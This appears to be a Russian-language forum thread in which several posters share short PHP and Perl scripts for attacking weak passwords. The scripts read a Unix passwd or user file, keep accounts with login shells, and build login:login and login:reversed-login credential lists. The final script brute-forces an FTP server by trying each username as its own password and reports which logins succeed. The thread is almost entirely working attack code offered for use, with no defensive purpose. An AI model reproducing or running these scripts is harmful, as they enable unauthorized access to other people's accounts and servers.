PHP: <?php $handle = fopen ("passwords.txt", "r"); while (!feof ($handle)) { $buffer = fgets($handle, 4096); $reverse=strrev($buffer); echo "".$buffer.":".$buffer." b ".$buffer.":".$reverse." <br>"; } fclose ($handle); ?> пробуй, на большее я сейчас не способен
Вот : Code: #!/usr/bin/perl $in=$ARGV[0]; $out=$ARGV[1]; ## определим параметры скрипта exit print "Use $0 $in $out\n" unless ($out); open(IN, "$in"); open(OUT, ">out"); while(<IN>){ chomp; if (~/sh$/){ ## запишем только валидные аккаунты ($u,@udef)=split ":"; print OUT "$u:$u\n"; ## В виде пары login:login } } close(IN); close(OUT);
PHP: <?php $fo=fopen ("users.txt", "r"); $fr=fopen ("resalt.txt", "w"); while (!feof($fo)) { $c=rtrim(fgets($fo)); $rez=split(':',$c); $rez[1]=strrev($rez[1]); fwrite($fr,$rez[0].':'.$rez[1]."\n"); } fclose ($fo); fclose ($fr); ?>
Code: #!/usr/bin/perl open(IN,"pwd.txt"); open(OUT,">pwds"); while(<IN>){ chomp; if($_ ne ''){ ($u,@undef)=split ':'; print OUT "$u:$u\n"; } } close(IN); close(OUT);
Вот чего-то нашёл... PHP: <?php$filename="passwd"; // passwd file$ftp_server="localhost"; // FTP-serverecho "FTP-server: <b>$ftp_server</b> <br><br>";$fp = fopen ($filename, "r");if ($fp){while (!feof ($fp)) {$buf = fgets($fp, 100);ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);$ftp_user_name=$g[1];$ftp_user_pass=$g[1];$conn_id=ftp_connect($ftp_server);$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);if (($conn_id) && ($login_result)) {echo "<b>Connected with login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>";ftp_close($conn_id);}else {echo $ftp_user_name." - error<br>";}}}?>